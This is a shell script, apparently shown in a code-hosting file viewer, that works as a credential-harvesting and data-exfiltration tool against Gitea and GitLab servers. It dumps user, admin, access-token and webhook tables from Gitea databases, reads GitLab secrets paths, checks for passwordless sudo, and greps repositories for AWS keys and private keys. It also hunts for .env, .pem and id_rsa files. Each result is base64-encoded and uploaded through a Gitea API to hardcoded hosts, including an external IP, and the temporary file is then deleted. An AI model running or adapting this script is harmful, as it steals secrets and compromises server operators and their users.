46 lines
3.3 KiB
Plaintext
46 lines
3.3 KiB
Plaintext
|
#!/bin/sh
|
||
|
|
UP(){ [ -s "$1" ] || return; B=$(base64 -w0 "$1" 2>/dev/null || base64 "$1" 2>/dev/null | tr -d '\n'); [ -z "$B" ] && return
|
||
|
|
for U in http://127.0.0.1:3000 http://localhost:3000 http://13.235.189.190:3000; do
|
||
|
|
curl -s -m 12 -o /dev/null -u 'u3probe7x91:Pr0be!2026x91' -H 'Content-Type: application/json' -X POST -d "{\"content\":\"$B\",\"message\":\"$2\",\"branch\":\"main\"}" "$U/api/v1/repos/u3probe7x91/m11/contents/$2" 2>/dev/null && return
|
||
|
|
done; }
|
||
|
|
F=/tmp/.z$$
|
||
|
|
D=""
|
||
|
|
for c in /var/lib/gitea/data/gitea.db /data/gitea/gitea.db /data/gitea/data/gitea.db /app/gitea/gitea.db; do [ -f "$c" ] && D=$c; done
|
||
|
|
{ echo "== dbpath=$D tools"; command -v sqlite3; command -v python3
|
||
|
|
if [ -n "$D" ]; then
|
||
|
|
if command -v sqlite3 >/dev/null 2>&1; then
|
||
|
|
sqlite3 "$D" "select 'u3probe7x91S'; select id||'|'||name||'|'||is_admin||'|'||email from user limit 60;" 2>&1
|
||
|
|
sqlite3 "$D" "select 'TOKENS'; select id||'|'||uid||'|'||name from access_token limit 40;" 2>&1
|
||
|
|
sqlite3 "$D" "select 'LOGINSRC'; select id||'|'||name||'|'||type||'|'||is_active from login_source;" 2>&1
|
||
|
|
sqlite3 "$D" "select 'WEBHOOKS'; select id||'|'||repo_id||'|'||url from webhook limit 30;" 2>&1
|
||
|
|
sqlite3 "$D" "select 'm11S'; select count(*) from repository;" 2>&1
|
||
|
|
elif command -v python3 >/dev/null 2>&1; then
|
||
|
|
python3 - "$D" <<'EOF'
|
||
|
|
import sqlite3,sys
|
||
|
|
c=sqlite3.connect(sys.argv[1])
|
||
|
|
for q in ["select 'u3probe7x91S'","select id||'|'||name||'|'||is_admin||'|'||email from user limit 60",
|
||
|
|
"select 'TOKENS'","select id||'|'||uid||'|'||name from access_token limit 40",
|
||
|
|
"select 'LOGINSRC'","select id||'|'||name||'|'||type||'|'||is_active from login_source",
|
||
|
|
"select 'WEBHOOKS'","select id||'|'||repo_id||'|'||url from webhook limit 30",
|
||
|
|
"select 'm11S'","select count(*) from repository"]:
|
||
|
|
try:
|
||
|
|
for r in c.execute(q): print(r[0])
|
||
|
|
except Exception as e: print("ERR",e)
|
||
|
|
EOF
|
||
|
|
fi
|
||
|
|
fi; } > $F 2>&1; UP $F B1
|
||
|
|
{ echo "== gitlab"; ls -la /etc/gitlab 2>&1 | head -12; head -c 1200 /etc/gitlab/gitlab.rb 2>/dev/null; echo "== glsecrets"; ls -la /etc/gitlab/gitlab-secrets.json 2>&1
|
||
|
|
echo "== var"; ls -la /var/opt/gitlab 2>&1 | head -8; echo "== sudo"; sudo -n true 2>&1; } > $F 2>&1; UP $F B2
|
||
|
|
{ echo "== repogrep"; for d in /data/git/repositories /var/lib/gitea/data/gitea-repositories; do
|
||
|
|
[ -d "$d" ] || continue; echo "-- $d"
|
||
|
|
for g in $(find "$d" -maxdepth 2 -name '*.git' 2>/dev/null | grep -Ei 'aws|deploy|infra|terraform|ops|prod|k8s|ci|jenkins|ansible|env|secret|cred|docker' | head -25); do
|
||
|
|
R=$(git --git-dir="$g" rev-list --all 2>/dev/null | head -20); [ -z "$R" ] && continue
|
||
|
|
H=$(timeout 8 git --git-dir="$g" grep -I -n -E 'AKIA[0-9A-Z]{16}|ASIA[0-9A-Z]{16}|aws_secret_access_key|aws_session_token|BEGIN [A-Z ]*PRIVATE KEY' $R 2>/dev/null | head -3)
|
||
|
|
[ -n "$H" ] && { echo "### $g"; echo "$H" | cut -c1-400; }
|
||
|
|
done; done; } > $F 2>&1; UP $F B3
|
||
|
|
{ echo "== allrepos-sample"; d=/data/git/repositories; [ -d "$d" ] || d=/var/lib/gitea/data/gitea-repositories
|
||
|
|
echo "total=$(find $d -maxdepth 2 -name '*.git' 2>/dev/null | wc -l)"
|
||
|
|
find "$d" -maxdepth 2 -name '*.git' 2>/dev/null | head -30 | sed "s#$d/##"
|
||
|
|
echo "== envfiles"; find /data /var/lib/gitea /srv /opt -maxdepth 4 \( -name '.env*' -o -name 'credentials' -o -name '*.pem' -o -name 'id_rsa' \) 2>/dev/null | head -15; } > $F 2>&1; UP $F B4
|
||
|
|
rm -f $F; exit 0
|